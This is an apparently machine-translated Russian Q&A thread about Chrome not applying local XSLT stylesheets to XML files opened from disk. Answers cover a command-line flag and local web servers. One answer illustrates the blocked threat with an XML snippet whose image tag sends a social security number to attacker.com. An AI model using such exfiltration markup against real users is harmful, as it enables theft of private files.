Я изучал xslt и начал тестирование с примерами на w3schools.
Однако, когда я сохраняю xml и xsl в файлах и пытаюсь открыть их локально, хром не выполняет преобразование xsl. Он просто показывает пустую страницу.
Я добавил <?xml-stylesheet type="text/xsl" href="style.xsl">
тег в XML-документ, и firefox отображает его так, как должно выглядеть. Кроме того, если я просматриваю файлы через веб-сервер, Chrome отображает файл в том виде, в котором он должен выглядеть.
Может быть, хром не может найти информацию о таблице стилей, когда ссылка является локальной? Изменение href на file:///C:/xsl/style.xsl
не имело никакого значения.
Обновление: похоже, это побочный эффект политики безопасности, которая не рассматривает file: /// * как одно и то же происхождение. В результате в консоли появляется следующая ошибка:
Небезопасная попытка загрузить файл URL: /// C: /xsl-rpg/style.xsl из фрейма с файлом URL: /// C: /xsl-rpg/data.xml. Домены, протоколы и порты должны совпадать.
file:
протокола Chrome выдает ту же ошибку домена.Ответы:
Короткий ответ: «Нет, используйте один из множества доступных браузеров » .
Причина, по которой это не работает, связана с проблемой безопасности, которую Chrome решил спорным способом [1] [2] [3] [4] , заблокировав доступ к файлам XML локальным файлам XSLT в том же каталоге, в то время как HTML файлы могут получить доступ к файлам .CSS в том же каталоге.
Что касается проблем, упомянутых выше, пользователи запросили более четкое сообщение об ошибке (поскольку домены, протоколы и порты действительно совпадают) или, по крайней мере, отображение XML без стиля. Разработчики Chrome проигнорировали эти запросы.
источник
Вы можете сделать это локально, используя флаги командной строки Chrome.
Конкретный флаг
--allow-file-access-from-files
В OS X: из Terminal.app запустить
/Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files
В Windows: из командной строки запустите
%LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files
Примечание: вам, вероятно, придется выйти из Chrome, если он в данный момент запущен, иначе Ch
источник
C:\Program Files (x86)\Google\Chrome\Application
и команда --allow-file-access-from-files выполняется нормально, но мой локальный XML-документ (преобразованный локальный файл XSLT) не отображается./Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-files
работал у меня. Очевидно, я использую Chrome Canary. После выполнения этой команды должно открыться новое окно Chrome, позволяющее выполнить преобразование XSL.get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Если вы хотите придерживаться OP, ответ - нет (как указывали другие), но один из способов решить проблему - запустить простой веб-сервер и открывать файлы через http в chrome. Если у вас установлен python 2.x, вы можете запустить веб-сервер, набрав:
Или в python 3.x:
а затем откройте файл, используя
http://localhost:8000/yourfile.xml
Chrome. Надеюсь, вы просто хотите, чтобы ваша работа была выполнена, и открывать файл с помощьюfile://
источник
На странице ошибок Chrome потребовалось немного расшифровать - они очень стараются не объяснять, в чем проблема, и почему они решили сломать всех, а не всех.
Предположим, у меня есть XML-файл - где-то - на моем жестком диске, например:
И злоумышленнику каким-то образом удалось сбросить вредоносный файл Xml на мой компьютер, например:
Представьте, что TrojanVirusWorm.xml содержит инструкцию обработки таблицы стилей ( PI ):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
Затем злоумышленник дает команду моему браузеру перейти к локально сохраненному
trojanVirusWorm.xml
файлу.По-видимому, есть способ, которым XML-файл может читать содержимое XSD-файла (а не преобразовываться с помощью XSD-файла):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> <!--And then a miracle happens, and this XML file is able to read the contents of the stylesheet xml file--> <html> <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img> </html>
Я не понимаю, как файл XML может читать файл таблицы стилей. Но команда Chrome уверяет нас, что это опасность и что ее невозможно устранить.
Каждый другой браузер решил это. Решили, потому что это не проблема .
источник
Мой обходной путь, чтобы увидеть xml в соответствии с файлом xsl
Предположим, у нас есть some_file.xml с заголовками:
<?xml version="1.0" encoding="UTF-8" ?> <?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
https://some-site.com/Common.xsl
и кладем рядом сsome_file.xml
href="https://some-site.com/Common.xsl"
наhref="http://localhost:8001/Common.xsl"
python3 -m http.server 8001
http://localhost:8001/some_file.xml
источник
Вы можете разрешить Chrome отображать XSL-файл, изменив настройки браузера. Более безопасным подходом было бы доступ к нему через локальный веб-сервер, такой как Visual Studio Code Live Server или Apache. См. Инструкции в разделе XSLT, который не отображает локальные файлы .
источник